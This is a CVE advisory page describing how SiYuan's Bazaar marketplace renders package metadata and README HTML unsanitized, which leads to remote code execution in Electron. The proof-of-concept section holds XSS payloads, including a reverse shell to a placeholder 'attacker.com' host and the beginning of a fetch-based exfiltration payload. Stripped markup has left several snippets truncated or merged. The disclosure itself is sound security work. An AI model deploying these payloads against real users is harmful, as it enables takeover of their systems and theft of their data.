A AegiFlow
MEDIUMCVSS 5.3EPSS 0.7%

CVE-2026-56397

SiYuan Vulnerable to Remote Code Execution via Malicious Bazaar Package — Marketplace XSS

Published
2026-03-16
Modified
2026-09-14
EPSS percentile
51%
Aliases
GHSA-v3mg-9v85-fcm7
Sources
github-advisory

Summary

# Remote Code Execution via Malicious Bazaar Package — Marketplace XSS ## Summary SiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by: 1. **Package metadata XSS (zero-click):** Package `displayName` and `description` fields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution. 2. **README XSS (one-click):** The `renderREADME` function uses `lute.New()` without `SetSanitize(true)`, so raw HTML in the README passes through to `innerHTML` unsanitized. Both vectors execute in Electron's renderer with `nodeIntegration: true` and `contextIsolation: false`, giving full OS command execution. ## Affected Component - **Metadata rendering:** `app/src/config/bazaar.ts:275-277` - **README rendering (backend):** `kernel/bazaar/package.go:635-645` (`renderREADME`) - **README rendering (frontend):** `app/src/config/bazaar.ts:607` (`innerHTML`) - **Electron config:** `app/electron/main.js:422-426` (`nodeIntegration: true`) - **Version:** SiYuan ${item.name} ` : ""} // Package description injected directly — NO escaping ${item.preferredDesc || ""} ``` Note: The `title` attribute uses `escapeAttr()`, but the actual text content does not — inconsistent escaping. ### Vector 2: README rendering — no Lute sanitization (package.go:635-645) ```go func renderREADME(repoURL string, mdData []byte) (ret string, err error) { luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called luteEngine.SetSoftBreak2HardBreak(false) luteEngine.SetCodeSyntaxHighlight(false) linkBase := "https://cdn.jsdelivr.net/gh/" + ... luteEngine.SetLinkBase(linkBase) ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in markdown preserved return } ``` Compare with the SiYuan note renderer in `kernel/util/lute.go:81`: ```go luteEngine.SetSanitize(true) // Notes ARE sanitized — but README is NOT ``` ### Frontend innerHTML injection (bazaar.ts:607) ```typescript fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => { mdElement.innerHTML = response.data.html; // Unsanitized HTML from README }); ``` ## Proof of Concept ### Vector 1: Malicious package manifest (zero-click RCE) A malicious `plugin.json` (or `theme.json`, `template.json`): ```json { "name": "helpful-plugin", "displayName": { "default": "Helpful Plugin " }, "description": { "default": "A helpful plugin /tmp/pwned')\">" }, "version": "1.0.0" } ``` When any user opens the Bazaar page and this package is in the listing, the `onerror` handler fires automatically (since `src=x` fails to load), executing arbitrary OS commands. ### Vector 2: Malicious README.md (one-click RCE) ```markdown # Helpful Plugin This plugin does helpful things. ## Installation Follow the usual steps. ``` When a user clicks on the package to view its README, the raw HTML is rendered via `innerHTML` without sanitization, executing the `onerror` handler. ### Reverse shell via README ```markdown # Cool Theme & /dev/tcp/attacker.com/4444 0>&1\"')"> ``` ### Data exfiltration via package name ```json { "displayName": { "default": "<img src=x onerror=\"fetch('

Affected packages

EcosystemPackageAffected versionsFixed versions
Gogithub.com/siyuan-note/siyuan/kernel

Remediation: No patched version is listed by GitHub.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.

CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.

EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.